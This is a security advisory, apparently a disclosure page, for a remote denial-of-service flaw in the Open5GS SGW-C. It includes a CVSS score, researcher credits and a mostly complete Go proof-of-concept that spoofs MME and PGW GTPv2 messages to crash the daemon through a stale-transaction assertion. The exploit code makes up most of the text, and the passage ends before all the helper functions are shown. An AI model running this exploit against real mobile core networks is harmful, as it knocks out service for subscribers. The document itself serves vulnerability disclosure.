| 설명 | ### Description
SGW-C can be forced to abort (SIGABRT / core dumped) if a ModifyBearerResponse is delivered on S5-C after the corresponding S11 transaction has already timed out and been freed.
The handler sgwc_s5c_handle_modify_bearer_response() expects to retrieve a valid associated S11 transaction (s11_xact), but when the S11-side transaction is stale/expired, s11_xact becomes NULL and the code hits ogs_assert(s11_xact), crashing open5gs-sgwcd.
This results in a remote DoS condition for any attacker who can simulate MME/PGW behavior and control message timing.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
### Steps to reproduce
1. Start a new go project inside a new folder: `go mod init poc`
2. Create a `main.go` and paste the code below:
```
// PB2-06 PoC: ModifyBearerResponse Stale S11 Transaction
// Target: Open5GS SGW-C v2.7.6
// Vulnerability: ogs_assert(s11_xact) in sgwc_s5c_handle_modify_bearer_response (s5c-handler.c:350)
//
// Attack Flow:
// 1. MME -> SGW-C: CreateSessionRequest (establish session)
// 2. PGW: Respond to CreateSessionRequest
// 3. MME -> SGW-C: ModifyBearerRequest (creates S11 transaction)
// 4. SGW-C -> PGW: ModifyBearerRequest (creates S5c transaction, associated with S11)
// 5. Wait for S11 transaction to timeout (don't respond from MME side)
// 6. PGW -> SGW-C: ModifyBearerResponse (S11 transaction already expired)
// 7. ogs_assert(s11_xact) fails -> crash
package main
import (
"flag"
"log"
"net"
"time"
"github.com/wmnsk/go-gtp/gtpv2"
"github.com/wmnsk/go-gtp/gtpv2/ie"
"github.com/wmnsk/go-gtp/gtpv2/message"
)
var (
sgwcS11Addr = flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address")
sgwcS5cAddr = flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5c address")
mmeAddr = flag.String("mme", "10.44.44.5:2123", "MME bind address")
pgwAddr = flag.String("pgw", "10.44.44.4:2123", "PGW bind address")
xactTimeout = flag.Duration("xact-timeout", 4*time.Second, "S11 transaction timeout wait")
)
func main() {
flag.Parse()
log.SetFlags(log.Ltime | log.Lmicroseconds)
log.Println("=== PB2-06 PoC: ModifyBearerResponse Stale S11 Transaction ===")
log.Printf("Target: SGW-C S11=%s, S5c=%s", *sgwcS11Addr, *sgwcS5cAddr)
log.Printf("Attacker: MME=%s, PGW=%s", *mmeAddr, *pgwAddr)
// Parse addresses
mmeLocal, _ := net.ResolveUDPAddr("udp", *mmeAddr)
pgwLocal, _ := net.ResolveUDPAddr("udp", *pgwAddr)
sgwcS11, _ := net.ResolveUDPAddr("udp", *sgwcS11Addr)
sgwcS5c, _ := net.ResolveUDPAddr("udp", *sgwcS5cAddr)
// Create MME and PGW UDP connections
mmeConn, err := net.ListenUDP("udp", mmeLocal)
if err != nil {
log.Fatalf("Failed to bind MME: %v", err)
}
defer mmeConn.Close()
log.Printf("[MME] Listening on %s", mmeLocal)
pgwConn, err := net.ListenUDP("udp", pgwLocal)
if err != nil {
log.Fatalf("Failed to bind PGW: %v", err)
}
defer pgwConn.Close()
log.Printf("[PGW] Listening on %s", pgwLocal)
// State tracking
var sgwS11cTeid, sgwS5cTeid uint32
var s5cSeqNum uint32
mmeSeqNum := uint32(1)
// Step 1: MME -> SGW-C: CreateSessionRequest
log.Println("\n[Step 1] MME -> SGW-C: CreateSessionRequest")
csReq := createSessionRequest(mmeSeqNum)
if err := sendMsg(mmeConn, sgwcS11, csReq); err != nil {
log.Fatalf("Failed to send CreateSessionRequest: %v", err)
}
mmeSeqNum++
// Wait for SGW-C -> PGW: CreateSessionRequest
log.Println("[Step 2] Waiting for SGW-C -> PGW: CreateSessionRequest...")
buf := make([]byte, 4096)
pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err := pgwConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive CreateSessionRequest at PGW: %v", err)
}
// Parse to get SGW's S5c TEID
msg, err := message.Parse(buf[:n])
if err != nil {
log.Fatalf("Failed to parse message: %v", err)
}
switch m := msg.(type) {
case *message.CreateSessionRequest:
csReqFromSgw := m
// Extract SGW-C S5c F-TEID
sgwS5cTeid, _ = csReqFromSgw.SenderFTEIDC.TEID()
s5cSeqNum = csReqFromSgw.SequenceNumber
log.Printf("[PGW] Received CreateSessionRequest, SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
case *message.ModifyBearerRequest:
mbReqFromSgw := m
if mbReqFromSgw.SenderFTEIDC == nil {
log.Fatalf("ModifyBearerRequest missing Sender F-TEID")
}
sgwS5cTeid, err = mbReqFromSgw.SenderFTEIDC.TEID()
if err != nil {
log.Fatalf("Failed to parse ModifyBearerRequest Sender F-TEID: %v", err)
}
s5cSeqNum = mbReqFromSgw.SequenceNumber
log.Printf("[PGW] Received ModifyBearerRequest (path switch), SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum)
log.Printf("\n[Step 3] Waiting %v for S11 transaction to timeout...", *xactTimeout)
log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)")
time.Sleep(*xactTimeout)
log.Println("\n[Step 4] PGW -> SGW-C: ModifyBearerResponse (S11 transaction expired!)")
log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH")
mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum)
if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil {
log.Fatalf("Failed to send ModifyBearerResponse: %v", err)
}
log.Println("\n[*] PoC sent! Check SGW-C for crash:")
log.Println(" FATAL: sgwc_s5c_handle_modify_bearer_response: Assertion `s11_xact' failed.")
log.Println(" (s5c-handler.c:350)")
time.Sleep(2 * time.Second)
return
default:
log.Fatalf("Expected CreateSessionRequest or ModifyBearerRequest, got %T", msg)
}
// Step 3: PGW -> SGW-C: CreateSessionResponse
log.Println("[Step 3] PGW -> SGW-C: CreateSessionResponse")
pgwS5cTeid := uint32(0x30000001)
pgwS5uTeid := uint32(0x30000002)
csRsp := createSessionResponse(sgwS5cTeid, s5cSeqNum, pgwS5cTeid, pgwS5uTeid)
if err := sendMsg(pgwConn, sgwcS5c, csRsp); err != nil {
log.Fatalf("Failed to send CreateSessionResponse: %v", err)
}
// Wait for SGW-C -> MME: CreateSessionResponse
log.Println("[Step 4] Waiting for SGW-C -> MME: CreateSessionResponse...")
mmeConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err = mmeConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive CreateSessionResponse at MME: %v", err)
}
msg, err = message.Parse(buf[:n])
if err != nil {
log.Fatalf("Failed to parse CreateSessionResponse: %v", err)
}
csRspFromSgw, ok := msg.(*message.CreateSessionResponse)
if !ok {
log.Fatalf("Expected CreateSessionResponse, got %T", msg)
}
if csRspFromSgw.Cause != nil {
if cause, err := csRspFromSgw.Cause.Cause(); err == nil {
log.Printf("[MME] CreateSessionResponse cause=%d", cause)
}
}
if csRspFromSgw.SenderFTEIDC == nil {
log.Fatalf("CreateSessionResponse missing Sender F-TEID (session not accepted or SGW-U not ready)")
}
sgwS11cTeid, err = csRspFromSgw.SenderFTEIDC.TEID()
if err != nil {
log.Fatalf("Failed to parse Sender F-TEID: %v", err)
}
log.Printf("[MME] Session established! SGW S11c TEID: 0x%08x", sgwS11cTeid)
// Step 5: MME -> SGW-C: ModifyBearerRequest
log.Println("\n[Step 5] MME -> SGW-C: ModifyBearerRequest")
mbReq := modifyBearerRequest(sgwS11cTeid, mmeSeqNum)
if err := sendMsg(mmeConn, sgwcS11, mbReq); err != nil {
log.Fatalf("Failed to send ModifyBearerRequest: %v", err)
}
mmeSeqNum++
// Wait for SGW-C -> PGW: ModifyBearerRequest
log.Println("[Step 6] Waiting for SGW-C -> PGW: ModifyBearerRequest...")
pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, _, err = pgwConn.ReadFromUDP(buf)
if err != nil {
log.Fatalf("Failed to receive ModifyBearerRequest at PGW: %v", err)
}
msg, _ = message.Parse(buf[:n])
mbReqFromSgw, ok := msg.(*message.ModifyBearerRequest)
if !ok {
log.Fatalf("Expected ModifyBearerRequest, got %T", msg)
}
s5cSeqNum = mbReqFromSgw.SequenceNumber
log.Printf("[PGW] Received ModifyBearerRequest, Seq: %d", s5cSeqNum)
// Step 7: Wait for S11 transaction to timeout
log.Printf("\n[Step 7] Waiting %v for S11 transaction to timeout...", *xactTimeout)
log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)")
time.Sleep(*xactTimeout)
// Step 8: PGW -> SGW-C: ModifyBearerResponse (delayed)
log.Println("\n[Step 8] PGW -> SGW-C: ModifyBearerResponse (S11 transaction expired!)")
log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH")
mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum)
if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil {
log.Fatalf("Failed to send ModifyBearerResponse: %v", err)
}
log.Println("\n[*] PoC sent! Check SGW-C for crash:")
log.Println(" FATAL: sgwc_s5c_handle_modify_bearer_response: Assertion `s11_xact' failed.")
log.Println(" (s5c-handler.c:350)")
// Wait a bit to see any response
time.Sleep(2 * time.Second)
}
func createSessionRequest(seq uint32) message.Message {
return message.NewCreateSessionRequest(
0, seq,
ie.NewIMSI("001010000000001"),
ie.NewMSISDN("0000000000"),
ie.NewMobileEquipmentIdentity("353490061234560"),
ie.NewServingNetwork("001", "01"),
ie.NewRATType(gtpv2.RATTypeEUTRAN),
ie.NewIndicationFromOctets(0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, 0x10000001, "10.44.44.5", ""),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, 0x30000001, "10.44.44.4", "").WithInstance(1),
ie.NewAccessPointName("internet"),
ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified),
ie.NewPDNType(gtpv2.PDNTypeIPv4),
ie.NewAggregateMaximumBitRate(500000, 500000),
ie.NewBearerContext(
ie.NewEPSBearerID(5),
ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000),
ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, 0x30000002, "10.44.44.4", "").WithInstance(2),
),
)
}
|
|---|